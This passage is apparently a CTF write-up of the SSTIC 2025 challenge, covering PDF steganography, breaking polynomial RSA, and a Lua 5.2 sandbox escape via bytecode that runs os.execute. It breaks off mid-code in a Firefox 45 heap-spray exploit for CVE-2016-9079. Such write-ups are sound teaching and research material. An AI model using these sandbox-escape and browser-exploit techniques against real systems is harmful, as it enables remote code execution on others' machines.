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1 Introduction

After last year’s challenge took a toll on everyone, we previous authors came away with two hard-earned
lessons: (1) don’t make the challenge too long, difficult, or overly linear, and (2) try to make step zero
as little of a bottleneck as possible — preferably avoiding anything that feels too guessy or all over the
place, which tends to send participants running for the hills.

This year’s SSTIC challenge succeeded in some of these regards, and failed in others (like the opening
step, which managed to scare people off even worse than ours did). Nonetheless, it was an enjoyable
ride: most certainly less difficult than last year’s, but it still had its fair share of technical value.

The various steps featured reverse engineering, deobfuscation, exploit development, cryptography,
and steganography. Let’s dive in!
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1.1 Challenge description

“When we analyze software from previous eras, we’re essentially interpreting artifacts from digital civi-
lizations that no longer exist in their original form. We look for signatures, patterns, anomalies — just as
archaeologists examine pottery shards for cultural markers.” This mantra from your cyber archaeologist
team leader Dr. Elijah Okafor resonates in your head. Following your mission of pursuing old software
from previously vanished civilizations, you heard of a mysterious system remaining on and went with your
team to the location from where detected activity came from.

From the runes your team was able to decipher, once upon a time, a four-people gang developed
a piece of software no one has heard of until now. One of them liked chiffrofêtes, with cybersous,
another one loved making useless games. A third one was born on earth only to reinvent the
wheel and constantly rebuild the objects he used. The last one dedicated a passion for weird
machines. All of them dedicated a cult for building the most complex and intricate code ciment
so that no one could ever recover the secret it held.

Your associates made huge progress on these runes, yet you wonder: how did they manage to get
the meaning of chiffrofête from the runes?

Avoiding this question, you get your eyes on the rock above you. Apparently, the hard work
remains. Millions of little runes, apparently grouped in a Trente-deuzet form, were sculpted on
it, as well as a strange lobster. You finally merged all the characters and obtained a specimen
of a rare and vanished format your team previously recovered. It seems the PDF you got was a
recipe for building the network, but you suspect it contains a hidden gem and decide to process
it for further investigation.

Your mission is to analyze the relics found by your team and discover as much as possible about
the internals of these weird pieces you just unveiled. Once your goal is achieved, you’ll record all your
discoveries about the vanished civilization. Help the team discover what secret is embedded within the
ancient runes at https://static.sstic.org/challenge2025/strange_sonnet.pdf.
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1.2 Steps summary

Prologue. A preliminary steganography task, in which we investigate the secret concealed within the
ancient runes. Several puzzle pieces hidden inside PDF streams, once gathered and combined, reveal a
download link to the challenge’s central piece: the thick client (section 2).

Step 1. A cryptography task where we break a polynomial-based RSA cryptosystem (section 3).

Step 2. A game implemented in the thick client allows sending a Lua script to automate server-side
interactions. The goal is to escape the Lua 5.2 sandbox and gain remote code execution (section 4).

Step 3. A browser exploit task, where we have to target an older Firefox (45) on a 64-bit Windows
machine. No new vulnerability is introduced in the browser; instead, the emphasis is on researching
public bugs and implementing / adapting 1-day PoCs for the target environment (section 5).

Step 4. A reverse engineering task featuring a movfuscated Linux binary, host to a key-protected
decryption routine (section 6).

Epilogue. Once the five flags are assembled, we can ask the server for the final validation email, but...
the thick client does not implement the feature! This final part involves understanding the bigger scheme,
by reverse engineering the Pyarmor-obfuscated client, analyzing the custom protocol and studying the
access control mechanism to eventually retrieve the email (section 7).
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2 Prologue: “Mestre du PDF”

From the challenge description, we get our hands on a PDF file (strange_sonnet.pdf). Most of the
document consists of a wall of text that does not make much sense (at least for now1), titled “The
definitive guide to a disastrous thick client”. One of the images inside the PDF, however, immediately
captures our attention (figure 1).

Figure 1: A cryptic image that asks to be xored. But with what?

The image is a grayscale 512×512 pixels one, with a lot of seemingly random noise — which suggests
that we have to find another similar 512×512 image to xor it with.

When dealing with PDF files, the first thing we want to look at are PDF content streams. If you
open a PDF file in a hex editor (or even a simple text editor), you will most certainly encounter blocks
like the following:

1Once you get to the end of the challenge and get a sense of the global picture, it’s actually quite funny
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5 0 obj
<<
/Filter [ /ASCII85Decode /FlateDecode ]
/Length 132
>>
stream
Gaoe43spKl&4HCY`LO_Sc*![>eB16O@;@]C'(l0WM%%VD@iiPMnDD7q$m'"mE".;JV%WP,PGa0mZgoTH=j...
endstream
endobj

These streams usually store binary data such as images or fonts, encoded through filters. Com-
mon filters include character encoding (e.g. ASCIIHexDecode, ASCII85Decode) and compression (e.g.
FlateDecode, LZWDecode). Stream objects also have a numerical identifier (the indirect object identi-
fier). They can be extracted using dedicated tools, or manually, which I did for relevant streams with a
simple Python script (just to make sure I know exactly what I’m extracting).
Exploring the streams inside the PDF, we find four that are particularly interesting:

1. Stream 8: a long and suspicious ascii string with the filter /ASCII85Decode /FlateDecode
2. Stream 36: a long and suspicious hex string with the filter /ASCIIHexDecode
3. Stream 39: a first embedded PDF file (/EmbeddedFile), named secret.pdf
4. Stream 42: a second embedded PDF file (/EmbeddedFile), named rfc.pdf

Decoding stream 8 gives a 262144-bytes blob (512×512 = 262144). The object’s properties actually
state that this stream encodes a grayscale image (/ColorSpace /DeviceGray, /Subtype /Image) and
give its dimensions (/Width 512, /Height 512). If we render this blob as a 512×512 image, it turns
out we get the original “xor me” image. We’ll refer to it as image 1.
Now, let’s continue with stream 36. Decoding the hex string gives the following:

00000000 31 20 30 20 30 20 31 20 30 20 30 20 63 6d 20 20 |1 0 0 1 0 0 cm |
00000010 42 54 20 2f 46 31 20 31 32 20 54 66 20 31 34 2e |BT /F1 12 Tf 14.|
00000020 34 20 54 4c 20 45 54 0a 42 54 20 31 20 30 20 30 |4 TL ET.BT 1 0 0|
00000030 20 31 20 31 30 30 20 31 30 30 20 54 6d 20 28 00 | 1 100 100 Tm (.|
00000040 7f ff 7f 00 80 ff 80 00 00 00 7f 7f ff 00 ff 80 |.ÿ...ÿ......ÿ.ÿ.|
[...]
00040030 00 ff ff 7f ff ff 00 7f 80 80 00 00 ff 80 ff 29 |.ÿÿ.ÿÿ......ÿ.ÿ)|
00040040 20 54 6a 20 54 2a 20 45 54 0a 20 0a | Tj T* ET. .|
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If we remove the first 63 bytes and the last 13 bytes, we get a 262144-bytes blob that is, again, a
512×512 grayscale image; we’ll call it image 2 (figure 2). Figure 3 shows image 1 xored with image 2:
looks like we’re on the right track!

Figure 2: A random soup of pixels (image 2). Figure 3: Image 1 and image 2 xored together.

Let’s now move on to stream 39: it’s a second PDF file, called secret.pdf, that is embedded
in the main one. If we extract it and try to open it, it asks for a password. Indeed, all the streams
inside look encrypted. The PDF version for this file is 1.3, which is different from the main PDF (1.4) —
this led me to believe that we had to look for a cryptographic weakness, and I did find resources on PDF
1.3 encryption12 that explain it’s apparently based on 40-bit RC4. I even found a tool3 that bruteforces
it, but it may take several days to crack, which would probably be going too far.

I reverted to the classics and ran a wordlist search using a tool called pdfcrack-ng. With
rockyou.txt, it quickly yielded the correct password: "lobsterpumpkin". We can now decrypt the
file and open it. It contains four images (figure 4): three lobster-pumpkin dogs and again, a raw mask
that we will call image 3 and that we can extract from stream 10 (/ASCII85Decode /FlateDecode).

Nothing else stands out in secret.pdf, so we are now headed to the second embedded PDF file,
rfc.pdf, which is basically RFC 7995 (PDF Format for RFCs). We find a very suspicious stream inside
this file: stream 100 (/FlateDecode /ASCII85Decode /ASCIIHexDecode /ASCII85Decode).

1https://www.cs.cmu.edu/ dst/Adobe/Gallery/anon21jul01-pdf-encryption.txt
2https://i.blackhat.com/eu-19/Thursday/eu-19-Muller-How-To-Break-PDF-Encryption-2.pdf
3https://github.com/kholia/RC4-40-brute-pdf
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Figure 4: Decrypted embedded PDF file, containing image 3.

If we naively decode the stream through this filter chain (for instance, using pdftosrc, which allows
extracting streams from a PDF file), we get a small grayscale image with a text that says: “So much for
that”. We fell into a trap!

Instead, let’s decode the stream manually, step by step. First, we inflate it using zlib.decompress.
We get a 772277-bytes blob that starts with legitimate base 85 data (2dnXR2dnXR2d[...]). However,
in PDF streams, Ascii85 data is followed by an end marker (~>). Here, there’s additional data after
the end marker, which is ignored by PDF parsers! This additional data is another base 85 string, which
once decoded gives the following:

Hmm what am i doing here? On est à Cherbourg et personne n'a pensé à prendre des parapluies
c'est une catastrophe on va pas pouvoir tourner
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I’m not sure what’s the meaning of this, let’s pretend it’s not useful and carry on. There may be other
streams with additional hidden data. We decode the Ascii85 stream and get a 617677-bytes blob with a
seemingly legit hex string, but again: there’s additional data after the end marker (>). This additional
data is another hex stream, which once decoded, gives a 131072-bytes blob, and 512×256 = 131072,
so we may be looking at half a 512×512 mask. The other half is not too far: if we decode the “legit”
hex stream, we yet again find additional data after the end marker (~>) for the last Ascii85 filter: a new
base 85 string, which decodes to another 131072-bytes blob.

Finally, we combine the two halves to get image 4 (figure 5), and if we xor the four images
altogether, we get a clear image (figure 6).

Figure 5: The final mask (image 4). Figure 6: The four images xored together.

This gives a URL (http://163.172.109.175:31337/b907ad32532f245a77637badbef8be3d/).
But where’s the flag, though? In the bottom right corner of the image, we can see some suspicious
pixels. Extracting their values, we find our very first flag:

SSTIC{4d80a6b32f8ff039c39f67b150b2b8d33a991b2e38a9ce96}

This concludes the prologue! Let’s look around the web server now. There’s not much going on
except for a directory listing:
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Index of /b907ad32532f245a77637badbef8be3d/

../
step0/ 23-Apr-2025 09:00 -
step1/ 23-Apr-2025 09:00 -
step2/ 27-Apr-2025 17:31 -
step3/ 23-Apr-2025 09:00 -
step4/ 23-Apr-2025 09:00 -
README.md 23-Apr-2025 09:00 2280

It looks like we can download the files for all the steps (1 to 4) and solve them in any order. The
step0/ folder contains binaries for a thick client, compiled for Windows, Linux and macOS. Let’s run
it: it’s basically some kind of instant messaging client, reminiscent of MSN / Windows Live Messenger
(you can even wizz your friends). But most importantly, we can chat with different challenge operators
(each one represented by a lobster-pumpkin dog, seen in figure 7).

Figure 7: Interacting with the challenge operators using the thick client.

We can see some interactions are locked: for now, we can’t talk to step 2 or step 3, which require
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respectively having validated 2 flags and 3 flags. From the top menu, we can create an account and
submit flags. We can submit the prologue’s flag, but having only one flag will not unlock anything: this
leaves us with either step 1 or step 4.

I haven’t mentioned it yet, but when I actually got to this point, I had messed up the xoring part
somehow and got a noisy image, from which I did manage to read the URL, but I couldn’t extract the
flag. This “forced” me to solve both step 1 and step 4 to unlock step 2, and then to solve step 2 to
unlock step 3. Hence, I didn’t solve the steps in the order 1-2-3-4, although I will use this order for the
next sections of this write-up.
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3 Step 1: “Crypto Luron”

For this first step, we are given the following Python script (src.py):

1 from .secret import flag
2 import random
3

4 def GF2_add(p1, p2):
5 return p1 ^ p2
6

7 def GF2_mod(p, mod):
8 while p.bit_length() >= mod.bit_length():
9 mask = mod << (p.bit_length() - mod.bit_length())

10 p ^= mask
11 return p
12

13 def GF2_mul_mod(p1, p2, mod):
14 r = 0
15 while p2:
16 if p2 & 1:
17 r ^= p1
18 p2 >>= 1
19 p1 = GF2_mod(p1<<1, mod)
20 return r
21

22 def GF2_pow_mod(a, e, mod):
23 r = 1
24 while e:
25 if e&1:
26 r = GF2_mul_mod(r, a, mod)
27 e >>= 1
28 a = GF2_mul_mod(a, a, mod)
29 return r
30

31 N = 131112461083260041466258559989852650048846977423676023208693096772757828312140757610949989 ⌋
273566247604399260337743520516344780224409356362489492887146748841094452709115063856352029 ⌋
664073256510410313419262026728741800154737100926401064995382067588953172165650115436825536 ⌋
620238998816599395608416117110767847385

,→

,→

,→

32 E = 65533
33

34 def generate_new_case():
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35 test = random.randrange(2**10, 2**1000)
36 enc = GF2_pow_mod(test, E, N)
37 return test, enc
38

39 def check_result_correct(test, enc, d):
40 if test < 2**10:
41 return False
42

43 if GF2_pow_mod(enc, d, N) == test:
44 return True
45

46 return False
47

48 # this is called only if check_result_correct of provided challenge is True
49 def get_enc_flag():
50 return GF2_pow_mod(flag, E, N)

We can also interact with the step 1 operator using the thick client:

→ Crypto luron [UP] - Started at 2025-04-30 22:19:45 (12:51)

→ You help (12:51)

→ Crypto luron Help [challenge], [solve], or [source] (12:51)

→ You challenge (12:51)

→ Crypto luron Here is your new challenge: please provide initial plaintext P such that
GF2_pow_mod(0x52f5c6bc5937573e0847e41abe1c29b53796890cb24fa44136757ff09f5a5270fa00384dc9b8 ⌋
99d631814894a3b12c5ac7c781c354788320cf08fb9c6ec7adfc505a7032d96162ab95e5767ef1dd31a1af27b3 ⌋
f27e1e6d7315b42fcc7a8430a4ec0dd50c40eb686c16dd8af411fc76b966cb147e5c0e348ebb96f61b91f8eb8e,
D, N) == P (12:51)

,→

,→

,→

,→

→ You solve (12:51)

→ Crypto luron solve [integer solution] - (Send your solution for generated challenge) (12:51)

It looks like we are dealing with some kind of RSA cryptosystem, for which we are given the public
key (N , e). Based on the available chat commands, our goal is to provide the answer for a randomly
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generated challenge. We can infer that the server will use generate_new_case to generate a random
plaintext P (210 É P < 21000), and use the public key to encrypt it:

C = P e mod N

We are given C , and we have to find P such that P =C d mod N (where d is most likely the private
exponent associated with the public key, although this is not really mentioned anywhere). The function
check_result_correct will then verify our answer.

Now, based on the sources, it seems that what we are facing here is not a classic RSA scheme
relying on modular arithmetic over the integers (Z/nZ). Instead, the four operations (addition, modulo,
modular multiplication, and modular power) are reimplemented for another ring by leveraging bitwise
operations. For instance, the addition is implemented as:

def GF2_add(p1, p2):
return p1 ^ p2

This is actually equivalent to a polynomial addition, more specifically addition over the ring F2[X ].
Indeed, take p, q ∈N and consider their binary forms (p0, p1, . . . , pm−1) and (q0, q1, . . . , qm−1) (where
p0 and q0 are the least significant bits, and m is the maximum bit size between p and q). If we see
these binary sequences as polynomials with bit coefficients:

P =
m−1∑
k=0

pk X k , Q =
m−1∑
k=0

qk X k

...then adding these two polynomials (P +Q) is equivalent to xoring the integers p and q, because
each bit coefficient will be added modulo 2 — essentially performing a bitwise xor.

Similarly, the functions for modular operations (multiplication and power) are designed to perform
these operations on the polynomial counterparts of the integers that are manipulated. Therefore, we are
actually dealing with an RSA cryptosystem on the quotient ring F2[X] / (N), where N is the modulus
polynomial associated with the 1024-bit integer N that is given in the source code.

We find a paper1 that discusses the security of such polynomial-based RSA, and comes to the
conclusion that it is weaker than integer RSA (for a key with equivalent bit size), because polynomial
factorization is easier than integer factorization in general.

1https://www.diva-portal.org/smash/get/diva2:823505/FULLTEXT01.pdf
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We can easily implement such factorization using SageMath:

def n_to_poly(n, R):
return R([(n >> k) & 1 for k in range(1024)])

def poly_to_n(poly):
return sum(2**i * int(b) for i,b in enumerate(poly.list()))

P.<x> = PolynomialRing(Zmod(2))

N = 131112461083260041466258559989852650048846977423676023208693096772757828312140757610949989 ⌋
273566247604399260337743520516344780224409356362489492887146748841094452709115063856352029 ⌋
664073256510410313419262026728741800154737100926401064995382067588953172165650115436825536 ⌋
620238998816599395608416117110767847385

,→

,→

,→

e = 65533

n = n_to_poly(N, P)
print(n.factor())
# (x + 1) * (x^2 + x + 1) * (x^17 + x^16 + x^14 + x^12 + x^11 + x^10 + x^6 + x^5 + 1) * ...

The output is a big polynomial with many factors. Now, we have to compute the private exponent.
In classic RSA, with n = pq, this involves computing the Euler totient ϕ(n) = (p −1)(q −1) to derive
d = e−1 modϕ(n). It’s a bit similar for polynomials. We know that ϕ(N ) = ∏

i ϕ(Pi
ki ), using N ’s

factorization. In our case, it so happens that the multiplicity of each factor is 1, so we actually have
ϕ(N ) = ∏

i ϕ(Pi ). For an irreducible polynomial Pi , ϕ(Pi ) counts how many polynomials with degree
< deg(Pi ) are coprime with Pi . All of them are, except for the zero polynomial, so ϕ(Pi ) = 2deg(Pi ) −1,
and we therefore have:

ϕ(N ) =∏
i

(2deg(Pi ) −1)

We can thus compute the private key d :

Qs = [_[0] for _ in n.factor()]
s = 1
for q in Qs:

s *= 2**q.degree() - 1
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assert gcd(e, s) == 1
d = inverse_mod(e, s)
print(d)
# 245187432812458211610186996665038182417419658...

Now, all there is left to do is decrypt the challenge ciphertext:

Q.<a> = P.quotient(n)

chall = 0x52f5c6bc5937573e0847e41abe1c29b53796890cb24fa44136757ff09f5a5270fa00384dc9b899d63181 ⌋
4894a3b12c5ac7c781c354788320cf08fb9c6ec7adfc505a7032d96162ab95e5767ef1dd31a1af27b3f27e1e6d ⌋
7315b42fcc7a8430a4ec0dd50c40eb686c16dd8af411fc76b966cb147e5c0e348ebb96f61b91f8eb8e

,→

,→

c = n_to_poly(chall, Q)

m = poly_to_n(c**d)
print(m)
# 76747691031587697717313989284621014...

We send the result to the server using the solve command, and we get the following response:

→ Crypto luron GG, Here is your flag encrypted:
0x339c28835be94cdfed18f3f3a06b7dc3141bbe97ac7cc1fe9e97b9f0f8d2d46ae5cd72baa7b8cac2a0827650 ⌋
be50486199b74be9f7cfbdfed3b29de73ce0a91188c98f4c772a2e3d9e7487aca10bb1a3d0c4ab57c1bb6b02ed ⌋
b35f4e144d7bd1e547dce4e8450819addb78541da4f72e72cfe5fcfb68538a818dadd7542fedb7
(15:15)

,→

,→

,→

,→

We can now do the same thing to decrypt the flag, which concludes step 1.

SSTIC{f5ab077834d560a2711413da4646bfa1f02e9b24df9c0863}
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4 Step 2: “Risk Lover”

In this step, we are invited to play against a lobby of bots in some kind of board game where we can
add or remove tokens on certain tiles (figure 8).

Figure 8: Playing a game against bots in the thick client.

There’s also a chat area where all the players’ actions are logged, and two commands are implemented:
sched, which allows to schedule a move, and automate, which is even more interesting, as it lets us
upload a Lua script to fully automate our moves.

We are given the source files for the automation part. It’s written in Python and relies on lupa 2.4 to
run Lua within a Python environment. The files game_bridge.py and bridge.py basically implement
a sandbox to run our Lua script, and we are also given an example script (example.lua), in which the
relevant part looks like this:
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function atEachTick (fullStateInstance)
yourActions = {}
yourActions[1] = {

Delay = 1,
Action = {AddToID = 0, TokenNumber = 10}

}
yourActions[2] = {

Delay = 0,
Action = {RemoveFromID = 19, TokenNumber = 10}

}
return yourActions

end

get_state_func = load_state("return get_state")
current_state = get_state_func()
return atEachTick(current_state())

It basically retrieves a get_state function from some outer context, calls it to fetch the current
game state, and returns an object with a certain expected structure. Lua scripts are run using this
execute_example function:

def set_global(global_name, global_val):
lua.globals()[global_name] = global_val

def execute_example() -> ExecResult:
code = open(os.path.join(os.path.dirname(__file__), 'example.lua'), 'r').read()
set_global('get_state', get_state)
run_sandboxed = create_safe_sandbox()

res = run_sandboxed(code)
match res:

case tuple():
return ExecFailure(Error=res[1])

case _:
res_py = lua_to_py(res)
return ExecSuccess(

Result=list(map(lambda obj: ScheduleActionIntent(**obj), res_py))
)
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The goal for this step is to gain remote code execution inside the Docker container that runs this
Lua sandbox, and therefore to achieve a Lua sandbox escape. The create_safe_sandbox function
is our focus:

1 def create_safe_sandbox():
2 sandbox_env = """
3 local sandbox = {}
4

5 sandbox.print = print
6 sandbox.type = type
7 sandbox.pairs = pairs
8 sandbox.load_state = load
9 sandbox.get_state = get_state

10 sandbox.coroutine = coroutine
11 sandbox.tonumber = tonumber
12 sandbox.tostring = tostring
13

14 sandbox.math = {
15 abs = math.abs,
16 ceil = math.ceil,
17 floor = math.floor,
18 max = math.max,
19 min = math.min,
20 pi = math.pi,
21 random = math.random,
22 sqrt = math.sqrt
23 }
24

25 sandbox.table = {
26 insert = table.insert,
27 remove = table.remove,
28 sort = table.sort,
29 getn = table.getn,
30 setn = table.setn,
31 concat = table.concat
32 }
33

34 sandbox.string = {
35 len = string.len,
36 lower = string.lower,
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37 upper = string.upper,
38 sub = string.sub,
39 find = string.find,
40 format = string.format,
41 char = string.char,
42 byte = string.byte
43 }
44

45 sandbox.os = {
46 time = os.time,
47 clock = os.clock,
48 setlocale = os.setlocale,
49 }
50

51 function run_sandboxed(code)
52 local func, err = load(code, "sandbox", "t", sandbox)
53 if not func then
54 return nil, err
55 end
56

57 local success, result = pcall(func)
58 if not success then
59 return nil, result
60 end
61

62 return result
63 end
64

65 return run_sandboxed
66 """
67

68 lua.execute(sandbox_env)
69 run_sandboxed = lua.globals().run_sandboxed
70

71 return run_sandboxed

The run_sandboxed function will leverage Lua’s load function to evaluate Lua code. It allows
passing an environment (here, sandbox) to restrict the globals we can use, so that we can’t, for instance,
call os.execute.
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Note that bridge.py specifically imports lupa.lua52 to instantiate the Lua runtime. This means
that the challenge runs Lua 5.2.4, which is a quite old version of Lua, released in 2015. Googling for Lua
5.2 sandbox escapes, we do find several resources, such as an exploit1 and a presentation titled Escaping
the Lua 5.2 sandbox with untrusted bytecode. The idea is that the Lua VM implements practically no
checks for runtime bytecode (e.g. bounds checks); therefore, running arbitrary bytecode (e.g. through
the load function) is highly unsafe, and can easily lead to memory corruption. Moreover, the challenge’s
sandbox does include the load function, named load_state in this case.

The exploits I found wouldn’t work directly out-of-the-box because they use certain functions that
are restricted by the sandbox, so we would have to try and adapt one of these. But before really diving
into that, I wanted to play around a little bit with the environment and see how loading bytecode works.
More specifically, I wondered: what exactly prevents us from calling arbitrary functions from libraries
such as os or io?

I compiled a simple function that calls os.execute into Lua bytecode (using string.dump(func)),
rewrote example.lua to the following, and ran the sandbox locally: against all odds, it worked.

f = load_state('<bytecode for a function that calls os.execute>')
f("id")

-- Needed to comply with the game bridge
yourActions = {}
yourActions[1] = {

Action = { TokenNumber = 5, AddToID = 0 },
Delay = 1337

}

return yourActions

I’m not sure why it works, and to be honest I haven’t really dug into it much more. Using this trick,
we can basically run anything we want and achieve code execution on the remote.

Now, we don’t have the standard output for the commands we run, and the container has no Internet
access, so we need to find another way to exfiltrate the output. We could use the integers that are
returned inside the “actions” structure (e.g. Delay), but there’s actually a more efficient way. We can
compile the following Lua function and use it to print arbitrary data as an error string in the chat:

1https://github.com/erezto/lua-sandbox-escape
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h = function(a)
assert(false, a)

end

Another problem is that for some reason, io.popen is disabled in this Lua build, so I chose instead
to leverage an intermediary file:

g = function(a)
os.execute(a .. " > /tmp-rw/test.txt")
local f = io.open("/tmp-rw/test.txt", "r")
local res = f:read("*a")
return res

end

We can now read the result of arbitrary commands by uploading this script:

get_cmd_output = load_state('\027\076\117\097\082\000...') -- bytecode of the g function
print_err = load_state('\027\076\117\097\082\000...') -- bytecode of the h function

x = get_cmd_output("id")
print_err(x)

yourActions = {}
yourActions[1] = {

Action = { TokenNumber = 5, AddToID = 0 },
Delay = 1337

}

return yourActions

Exploring the remote file system, we eventually find the path to the flag, which wraps up step 2.

cat /thiswillforceyoutorce/dontguessthis/onemore/hmmmm/flag.txt
[-] Lua automation failure: stdin:2: SSTIC{b871c80ae6baa5fb806f7241109e9d399f8641f2a63c7f69}
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5 Step 3: “Gecko Party”

This step is quite laconic in its material. We are given two files, with pretty much no context, that only
span a few lines of text. First, packages.config:

<?xml version="1.0" encoding="utf-8"?>
<packages>

<package id="Geckofx45.64" version="45.0.34" targetFramework="net48" />
</packages>
<!-- dotnet add package Geckofx45.64 --version 45.0.34 -->

We find the NuGet page for the Geckofx45.64 package, which basically allows embedding Gecko
in 64-bit .NET applications. Gecko is Mozilla’s rendering engine, used most notably in Firefox, but
also in Thunderbird.

Additionally, in the thick client, the chat operator for this step lets us send a URL through the visit
command, as seen in figure 9.

Firefox 45 was released on March 8th, 2016. We understand the goal of this step is to come up with
an exploit for that, probably by leveraging older publicly known bug reports or 1-day PoCs. This
time around especially, the browser remains unmodified, so the author did not include any of their
own vulnerabilities (contrary to other usual CTF browser exploit challenges). We are left to our own
devices, with many possible entrypoints.

We don’t even know what binary the visiting bot exactly runs, but we can reasonably assume it relies
on Geckofx45.64 to render our page. We are given the SHA-256 hash of xul.dll, the main DLL for
Gecko, to make sure we work on the correct component:

Host Name: GEECKO
OS Name: Microsoft Windows Server 2019 Standard Evaluation
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
xul.dll (sha256): 0EEE9093F799E9A560D930A73341A1E9406783DBB7A5E6EB41DBD614DB3D5259

We are also given the Windows version, although it does not make a huge difference (my local
environment was an up-to-date Windows 11 and the final exploit worked on the remote machine with
no adjustment).
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Figure 9: A bot can visit a given URL.

The first thing we can do is create a dummy C# project using Visual Studio, add Geckofx45.64
through the package manager, and copy their example to have a basic application that visits a local
URL, mimicking the (likely) remote environment. We also confirm that the built application uses the
correct version of xul.dll.

Now, where do we go from here? My first instinct was to look if there were any premade public
exploit PoCs for Firefox 45.0 (or other very close versions). Obviously, nothing that would instantly work
out-of-the-box came up, but we do find a few PoCs here and there.

In particular, we find this “Firefox nsSMILTimeContainer::NotifyTimeChange() RCE” which
is implemented as a Metasploit module (firefox_smil_uaf). This fact is definitely interesting because
even though it may not work out-of-the-box in our case, it still means that the vulnerability behind it is
actually exploitable (it’s not just a “trigger” PoC), and also that it’s probably reliable.

The bug exploited by this module is known as CVE-2016-9079 and was apparently observed in the
wild against Tor Browser. It’s a use-after-free targeting SVG, and more particularly SMIL, which allows
animating SVG elements. However, with the sole exploit code, the root cause seems hard to understand.
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Moreover, it’s written for 32-bit targets and relies on already knowing the address of a certain object
in the heap. This address is basically hardcoded in the exploit, since it’s fairly easy to spray the process’
address space on a 32-bit environment. However, on 64-bit, that would probably be a lost cause, hence
I chose to leave this UAF aside and look for other stuff.

=

I spent a lot of time going through bug reports on Bugzilla for specific versions (Security Advisories
for Firefox ESR). These are nice because they often include a PoC (although mostly just crash triggers)
and the developers usually discuss the bug’s root cause. After several hours of dissecting each entry, I
realized that almost all relevant PoCs from this era targeted 32-bit Firefox, which is annoying because:

1. A 32-bit PoC would need to be ported to 64-bit, if that’s even possible (some bugs may only work
on a 32-bit environment, depending on memory layout, structures, etc.).

2. We need a leak on 64-bit because we can’t just spray the heap to defeat ASLR!

One of the techniques that was especially known back in the day to defeat ASLR (and also DEP) was
ASM.JS JIT spray. It allows “hiding” a shellcode inside numerical constants that are JIT-emitted
to RWX pages, and furthermore, spraying these pages over the 32-bit address space to have a
reliable address to the shellcode. This technique is not too useful right now for us, but since it gives an
easy execution primitive, I ended up experimenting a bit with it and I especially looked at the process’
memory map after spraying.

Figure 10: Inspecting the process’ memory map in x64dbg after a JIT spray.

25/80

https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox-esr/
https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox-esr/
https://rh0dev.github.io/blog/2017/the-return-of-the-jit/


SSTIC Challenge 2025 Valentino Ricotta

Figure 10 shows sprayed JIT pages (ERW protection means execute, read, write). We can observe
that although these modules are “only” 0x2000 bytes long, VirtualAlloc will align them to a 64 KB
boundary (0x10000 bytes). This basically means that by spraying only around 216 ASM.JS modules,
we can cover a whole 32-bit range (and use up at most a few hundreds of MB of RAM). If we know the
three upper nibbles of these addresses (shown in red), we can predict the address of the shellcode.

These upper nibbles seem to have approximately 9 bits of entropy. This means we could hit our
shellcode with a 1

512 probability — this could be workable on the remote, although a bit long to execute
and not very pretty. What is more interesting is that given a control flow hijacking primitive, basically
any heap leak (or even DLL base leak, since they’re next to each other) would allow retrieving these
upper nibbles. We’ll keep this fact in mind for later.

=

After some more research, I stumbled upon Exploiting a Cross-mmap Overflow in Firefox , a blog
post about CVE-2016-9066 (also dubbed foxpwn) targeting Firefox 48 by Samuel Groß. Now this
one’s particularly noteworthy, for two main reasons: first, it’s one of the very rare exploits from this era
that targets a 64-bit Firefox. Second, the blog post explains the root cause of the bug very well and
the source code for the exploit has a lot of explanatory comments.

Although it targets Firefox 48, we manage to make Geckofx45.64 crash with his PoC, which suggests
that Firefox 45 is also vulnerable and we could adapt the exploit. A limitation of this exploit is that
it uses up around 4 GB of RAM. I reached out to the challenge author, who told me the challenge’s VM
has 5 GB of RAM: a bit tight, but that could work, so I continued to explore this lead.

Unfortunately, after some time debugging the exploit, I came to the conclusion that adapting it for
Firefox 45 would be very difficult for a specific reason. The exploit relies on spraying Arenas (which
are containers for tenured heap objects), and overflowing into one of these. In Firefox 48, the Arena
structure starts with a field called firstFreeSpan, which has the following structure:

class FreeSpan {
uint16_t first;
uint16_t last;
// [...]

}

The idea is to land a very controlled overwrite on the first and last values, which are byte indices
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in the Arena for the first and last objects in the free list. However, on Firefox 45, I noticed that the
Arena structure is slightly different: it starts with an ArenaHeader, which itself starts with a pointer
to a JS::Zone object.

/* Every arena has a header. */
struct ArenaHeader {

friend struct FreeLists;
JS::Zone* zone;
// [...]

We could attempt a partial overwrite of this zone pointer, but we are limited to a 2-byte overwrite
(because we’re overflowing a UTF-16 buffer). Coming up with a new technique to turn this primitive
into something useful sounded hard (at least since my goal is to solve the challenge as fast as possible),
so I eventually gave up on this vulnerability.

=

After more time going through bug reports again and experimenting with PoCs, I decided to come
back to CVE-2016-9079 (the “SMIL UAF”). Although the root cause is rather cryptic and I don’t want
to spend too much time understanding what’s going on under the hood, I still decide to give a shot at
porting the PoC to 64-bit.

First, I was able to find a PoC for this bug developed by the same person who wrote the blog post
about the ASM.JS JIT spray technique, and which therefore includes an additional JIT spray part to
directly end off the exploit by jumping on a shellcode (whereas the in-the-wild exploit leveraged ROP).
The main components of the exploit that are relevant to us are the following:

1 function heap_spray_fake_objects(){
2 var heap = []
3 var current_address = 0x08000000
4 var block_size = 0x1000000
5 while(current_address < object_target_address){
6 var heap_block = new Uint32Array(block_size/4 - 0x100)
7 for (var offset = 0; offset < block_size; offset += 0x100000){
8

9 /* fake object target = ecx + 0x88 and fake vtable*/
10 heap_block[offset/4 + 0x00/4] = object_target_address
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11 /* self + 4 */
12 heap_block[offset/4 + 0x14/4] = object_target_address
13 /* the path to EIP */
14 heap_block[offset/4 + 0x18/4] = 4
15 heap_block[offset/4 + 0xac/4] = 1
16 /* fake virtual function --> JIT target */
17 heap_block[offset/4 + 0x138/4] = jit_payload_target
18 }
19 heap.push(heap_block)
20 current_address += block_size
21 }
22 return heap
23 }
24

25 /* address of fake object */
26 object_target_address = 0x30300000
27

28 /* address of our jitted shellcode */
29 jit_payload_target = 0x1c1c0054
30

31 spray_asm_js_modules()
32 heap = heap_spray_fake_objects()
33

34 s='data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};';
35 var worker = new Worker(s);
36 worker.postMessage("zero");
37 // [...]
38 var block80 = new ArrayBuffer(0x80);
39 // [...]
40 var offset = 0x88 // Firefox 50.0.1
41

42 var exploit = function(){
43 var u32 = new Uint32Array(block80)
44

45 u32[0x4] = arrBase - offset;
46 u32[0xa] = arrBase - offset;
47 u32[0x10] = arrBase - offset;
48

49 // Playing with the SVG container and animations to trigger interesting code path
50 // that will lead to control flow hijacking
